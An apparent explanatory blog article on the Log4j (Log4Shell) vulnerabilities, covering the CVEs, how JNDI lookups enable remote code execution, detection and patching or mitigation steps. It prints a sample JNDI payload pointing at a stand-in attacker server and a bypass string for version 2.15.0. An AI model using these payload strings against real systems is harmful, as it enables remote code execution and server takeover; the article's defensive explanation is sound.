Log4j is one of the most widely used tools to collect information across computers systems, apps, networks, websites, etc. It has been downloaded millions of times.
Also, it is used by other frameworks, for example, Elasticsearch, Kafka, etc. The use of Log4j by other frameworks makes it hard to detect and hard to mitigate the vulnerability. The mitigation is problematic because it could depend on third-party software solutions to mitigate the vulnerability on their product.
CISA (Cybersecurity and Infrastructure Security Agency) documented some applications that are confirmed as vulnerable: https://github.com/cisagov/log4j-affected-db#software-list.
What is this vulnerability?
Log4j vulnerability allows attackers to Remote Code Execution (RCE) on a target, letting them steal data, install malware, or maybe take control of the target machine.
At the writing time of this article, there are 3 CVE (Common Vulnerabilities and Exposures) referring to the possibility of RCE by the vulnerability found on Log4j CVE-2021-44228, CVE-2021-45046 and the latest CVE-2021-44832. One of them has a base score of 10 on 10 (CVE-2021-44228), and the other 9 on 10 (CVE-2021-45046), and this shows us that are vulnerabilities with big impacts.
Log4j supports a logging capability called Lookups, which interpolate specified strings at the time of logging a message. For example, we could log “Java version:${java:version}" and the result logged by log4j will be “Java version: Java version 1.X.X”.
One of the supported Lookups is JNDI (Java Naming and Directory Interface); JNDI provides a way for programmers to look up objects using LDAP, DNS, etc., on a local or remote server.
As an example, if we log a string like this: “${jndi:ldap://untrustedserver.com/exploit.class}“, log4j would request the remote server “untrusted.com”, accessing and executing the class “exploit.class” resulting in a RCE. Then, the attacker can exploit several scenarios, such as taking control of the server.
Log4j versions from 2.0-beta9 (released in September 2013) through 2.14.1 through 2.15.0 (March 2021) are vulnerable. The fix provided for the CVE-2021-44228, log4j version 2.15.0 can be bypassed using this technique: ${jndi:ldap://127.0.0.1#example.com:/callback} for non-default configurations.
Like the Log4j team mentioned on their site:
“When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern, resulting in an information leak and remote code execution in some environments and local code execution in all environments; remote code execution has been demonstrated on macOS but no other tested environments.”
To fix the vulnerability on Log4j version 2.15.0 it was released a new version the 2.16.0; unfortunately, this version also had problems, having a vulnerability that can cause DoS (Denial of Service) as said by the log4j team on their site:
“When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data that contains a recursive lookup, resulting in a StackOverflowError that will terminate the process…”
A new CVE-2021-45105 has been issued with a global score of 7.5, and a new log4j version has been published, the 2.17.0. Ten days after the release of the log4j 2.17.0 version, a new vulnerability was disclosed, affecting all previous vulnerable versions till 2.17.0. The CVE-2021-44832 has a global score of 6.6, and according to the log4j team:
“Apache Log4j2 versions 2.0-beta7 through 2.17.0 (excluding security fix releases 2.3.2 and 2.12.4) are vulnerable to a remote code execution (RCE) attack where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.”
To fix this last issue, they published a new version 2.17.1.
How to detect?
There are several ways to detect log4j vulnerabilities, and each software/company has its way or options to detect them. Next, we write about some of them: Indicators of compromise (IOCs) and Cloud Armor.
1) IOCs – Indicators of compromise
Some entities have compiled an inventory of indicators of compromise, which contains a list of IP addresses source of attacks. You can use these lists to check if you have traffic from them:
2) Cloud Armor
Cloud Armor is a network security service that provides defences against DDoS and application attacks and provides a set of WAF rules. Cloud Armor has a preconfigured WAF rule called “cve-canary” which can help detect and block exploit attempts. This rule can be used to detect and block options.
To use this feature, you will need to create a new rule called “cve-canary” and insert it on a new or existing Cloud Armor security policy.
How to fix it?
The best solution is to upgrade to the latest and patched version Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later). However, if it is not possible to update to the latest version, there are a few options to disable the lookups.
For versions starting at 2.10.0:
- Disable the lookup functionality to remote servers
JAVA_OPTS=-Dlog4j2.formatMsgNoLookups=true; - Another option: set either the system property
log4j2.formatMsgNoLookupsor the environment variableLOG4J_FORMAT_MSG_NO_LOOKUPSto true.
On older releases from beta 2.0-beta9 to 2.10.0 you could delete the JndiLookup from the classpath, with this command:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Conclusion
In this article you found information about what is log4j, why is important and the recent vulnerabilities found and the possible mitigation. For all the IT guys all over the world, it seems that this novel never ends: the log4j vulnerabilities can be hard to detect, have high-impact and are easier for attackers to exploit. The fixes are not straightforward as the patched versions are constantly changing with new exploitable methods. Also, it could take time to analyze the impacts and to implement the fix itself, giving some advantage to the possible attackers.
These vulnerabilities changed how some enterprises look at the security of software and how important it is to have a cyber security team or security experts on their staff. Also, the enterprises need to have in mind that security must start in having good defense and strategies to be prepared in case of need.